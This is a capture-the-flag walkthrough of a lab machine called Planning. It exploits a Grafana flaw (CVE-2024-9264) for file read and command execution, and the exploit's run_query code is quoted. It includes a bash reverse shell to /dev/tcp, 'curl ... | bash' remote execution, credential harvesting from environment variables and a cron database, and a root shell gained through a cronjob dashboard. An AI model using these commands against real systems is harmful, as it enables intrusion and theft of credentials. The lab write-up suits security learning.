by 0xW1LD
Before we start with an nmap
scan, let’s note down that this is an assumed breach scenario and that we’re given the following credentials:
admin
:0D5oT70Fq13EvB5r
So now let’s start off with an nmap
scan.
1
2
3
4
5
6
7
8
9
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62fff6d4578805adf4d3de5b9bf850f1 (ECDSA)
|_ 256 4cce7d5cfb2da09e9fbdf55c5e61508a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the scan we can see two ports open.
22
, running SSH 9.6p1
on Ubuntu80
, running nginx 1.24.0
which redirects to planning.htb
so we must add that to our /etc/hosts
file.If we visit the website running we’re greeted with Edukate
, what looks to be an educational website.
Looking around we don’t find anything interesting just yet, however while fuzzing we can find Grafana
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[May 11, 2025 - 08:08:55 (AEST)] exegol-nightly planning # ffuf -w `fzf-wordlists` -u http://planning.htb -H "HOST: FUZZ.planning.htb" -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb
:: Wordlist : FUZZ: /opt/lists/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 303ms]
So let’s add it to our /etc/hosts
file and take a look.
When visiting grafana.planning.htb
we’re redirected to /login
and are greeted with a login page.
Attempting to login with the assumed breach
credentials, we get a login!
Clicking on the question mark icon on the top right corner, we can find the specific version of Grafana
being used.
Looking around online we can find CVE-2024-9264 which is an authenticated file read and remote code execution vulnerability. We can find a Poc already written for this CVE.
Before we inject any commands let’s first run the PoC
to see if the site is vulnerable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[May 11, 2025 - 08:21:02 (AEST)] exegol-nightly planning # python3 grafana.py -u admin -p 0D5oT70Fq13EvB5r http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
Success! The PoC
offers an alternative argument -c
for executing remote commands. Let’s use a reverse shell
by doing the following:
Let’s start a listener on our machine.
1
2
3
4
[May 11, 2025 - 08:26:36 (AEST)] exegol-nightly planning # nc -lvnp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Let’s write a shell
file with our bash payload.
1
[May 11, 2025 - 08:25:18 (AEST)] exegol-nightly planning # echo 'bash -i >& /dev/tcp/10.10.14.158/1337 0>&1' >> shell
Serve this shell file using a python webserver.
1
2
[May 11, 2025 - 08:25:44 (AEST)] exegol-nightly planning # python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Run the exploit to grab our shell and pipe it into bash
1
2
3
4
[May 11, 2025 - 08:25:08 (AEST)] exegol-nightly planning # python3 grafana.py -u admin -p 0D5oT70Fq13EvB5r http://grafana.planning.htb -c "curl 10.10.14.158/shell | bash"
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: curl 10.10.14.158/shell | bash
⠏ Running duckdb query
We get a call-back to our listener!
1
2
3
4
5
Ncat: Connection from 10.129.241.200.
Ncat: Connection from 10.129.241.200:43144.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~#
Looking around we notice that we’re in a docker environment through the presence of .dockerenv
in the root directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@7ce659d667d7:/# ls -la
ls -la
total 60
drwxr-xr-x 1 root root 4096 Apr 4 10:23 .
drwxr-xr-x 1 root root 4096 Apr 4 10:23 ..
-rwxr-xr-x 1 root root 0 Apr 4 10:23 .dockerenv
lrwxrwxrwx 1 root root 7 Apr 27 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
drwxr-xr-x 5 root root 340 May 10 19:23 dev
drwxr-xr-x 1 root root 4096 Apr 4 10:23 etc
drwxr-xr-x 1 root root 4096 May 14 2024 home
lrwxrwxrwx 1 root root 7 Apr 27 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 27 2024 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 27 2024 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 27 2024 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Apr 27 2024 media
drwxr-xr-x 2 root root 4096 Apr 27 2024 mnt
drwxr-xr-x 2 root root 4096 Apr 27 2024 opt
dr-xr-xr-x 287 root root 0 May 10 19:23 proc
drwx------ 1 root root 4096 Apr 4 12:43 root
drwxr-xr-x 5 root root 4096 Apr 27 2024 run
-rwxr-xr-x 1 root root 3306 May 14 2024 run.sh
lrwxrwxrwx 1 root root 8 Apr 27 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Apr 27 2024 srv
dr-xr-xr-x 13 root root 0 May 10 19:23 sys
drwxrwxrwt 1 root root 4096 May 10 22:24 tmp
drwxr-xr-x 1 root root 4096 Apr 27 2024 usr
drwxr-xr-x 1 root root 4096 Apr 27 2024 var
If we take a look at our env
we can see cleartext Grafana credentials for the user enzo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@7ce659d667d7:/# env
env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
OLDPWD=/usr/share/grafana
enzo
:RioTecRANDEntANT!
Checking for password reuse
through ssh
we find we can login as enzo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[May 11, 2025 - 08:32:21 (AEST)] exegol-nightly planning # ssh enzo@planning.htb
enzo@planning.htb's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat May 10 10:32:29 PM UTC 2025
System load: 0.01
Usage of /: 65.2% of 6.30GB
Memory usage: 41%
Swap usage: 0%
Processes: 234
Users logged in: 0
IPv4 address for eth0: 10.129.241.200
IPv6 address for eth0: dead:beef::250:56ff:feb0:4530
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Last login: Sat May 10 22:32:31 2025 from 10.10.14.158
enzo@planning:~$
Just like that we have user!
1
2
3
4
5
6
7
8
9
10
11
enzo@planning:~$ ls -la
total 32
drwxr-x--- 4 enzo enzo 4096 Apr 3 13:49 .
drwxr-xr-x 3 root root 4096 Feb 28 16:22 ..
lrwxrwxrwx 1 root root 9 Feb 28 20:42 .bash_history -> /dev/null
-rw-r--r-- 1 enzo enzo 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 enzo enzo 3771 Mar 31 2024 .bashrc
drwx------ 2 enzo enzo 4096 Apr 3 13:49 .cache
-rw-r--r-- 1 enzo enzo 807 Mar 31 2024 .profile
drwx------ 2 enzo enzo 4096 Feb 28 16:22 .ssh
-rw-r----- 1 root enzo 33 May 10 19:24 user.txt
Taking a look at internally open ports we find port 8000
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
enzo@planning:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:35893 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.54:53 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Let’s forward the port, we can do this using ssh
like so:
Type ~C
in the terminal
Enter the following command:
1
2
ssh> -L 8000:127.0.0.1:8000
Forwarding port.
The
~C
trick only works if theEnableEscapeCommandline
option is set to true in our.ssh/config
or via the option parameter-o
Visiting the site we’re greeted by basic auth
.
Neither of the credentials we have work, so looking around we find an interesting file crontab.db
1
2
3
4
5
enzo@planning:/opt/crontabs$ ls -la
total 12
drwxr-xr-x 2 root root 4096 May 10 19:23 .
drwxr-xr-x 4 root root 4096 Feb 28 19:21 ..
-rw-r--r-- 1 root root 737 May 10 22:47 crontab.db
Checking for the file type it’s a json
file so let’s cat it out and use jq
to display it neatly.
1
2
enzo@planning:/opt/crontabs$ file crontab.db
crontab.db: New Line Delimited JSON text data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
enzo@planning:/opt/crontabs$ cat crontab.db | jq
{
"name": "Grafana backup",
"command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
"schedule": "@daily",
"stopped": false,
"timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
"logging": "false",
"mailing": {},
"created": 1740774983276,
"saved": false,
"_id": "GTI22PpoJNtRKg0W"
}
{
"name": "Cleanup",
"command": "/root/scripts/cleanup.sh",
"schedule": "* * * * *",
"stopped": false,
"timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
"logging": "false",
"mailing": {},
"created": 1740849309992,
"saved": false,
"_id": "gNIRXh1WIc9K7BYX"
}
We find the following credentials.
root
:P4ssw0rdS0pRi0T3c
Trying them out against the basic authentication
we get logged in! We’re greeted by a Cronjobs
UI dashboard.
Let’s add a new
cronjob that executes a reverse shell towards our machine, we can use the same technique we did before to get a reverse shell
.
To expedite the process we can also click the Run Now
button to run the cronjob
now.
We get a callback on our listener!
1
2
3
4
5
6
7
8
9
[May 11, 2025 - 08:52:58 (AEST)] exegol-nightly planning # nc -lvnp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.241.200.
Ncat: Connection from 10.129.241.200:47530.
bash: cannot set terminal process group (1436): Inappropriate ioctl for device
bash: no job control in this shell
root@planning:/#
Just like that we have root!
1
2
3
4
5
root@planning:~# ls -l
ls -l
total 8
-rw-r----- 1 root root 33 May 10 19:24 root.txt
drwxr-xr-x 2 root root 4096 Apr 3 12:54 scripts
Taking a look at the PoC the most interesting function, which is the function that exploits the main vulnerability, is the run_query
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@inform("Running duckdb query")
def run_query(session: ScopedSession, query: str) -> Optional[List[Any]]:
path = "/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101"
data = {
"from": "1729313027261",
"queries": [
{
"datasource": {
"name": "Expression",
"type": "__expr__",
"uid": "__expr__",
},
"expression": query,
"hide": False,
"refId": "B",
"type": "sql",
"window": "",
}
],
"to": "1729334627261",
}
res = session.post(path, json=data)
data = cast(Dict, res.json())
# Check for DuckDB not found error
if "results" in data and "B" in data["results"]:
result = data["results"]["B"]
if "error" in result and "no such file or directory" in result["error"]:
failure("DuckDB is not installed on the target system. This exploit requires DuckDB to be present in the system PATH.")
return None
if data.get("message"):
msg_failure("Received unexpected response:")
msg_failure(json.encode(data, indent=4)) # prettify json
return None
try:
values = data["results"]["B"]["frames"][0]["data"]["values"]
values = cast(List, values)
if len(values) == 0:
failure("File not found")
return None
msg_success("Successfully ran duckdb query:")
msg_success(f"{query}:")
return values
except (KeyError, IndexError):
msg_failure("Unexpected response format:")
msg_failure(json.encode(data, indent=4))
return None
We can see that it makes a json POST
request to an api
endpoints called ds/query
, ds
stands for datasource
and so the vulnerability is running a query
against the datasource
endpoint. Here’s the documentation.
We can see that the exploit uses the query
in the expression
value of the POST
request. The way the exploit extracts files is not actually an SQLi
but simply an SQL query
that reads the file. Similarly the way it runs command is through SQL command injection
and not any actual SQLi
.
Also learned about the ten library from this PoC
which, looking at it, is a really good web exploitation library, so I definitely recommend to check it out.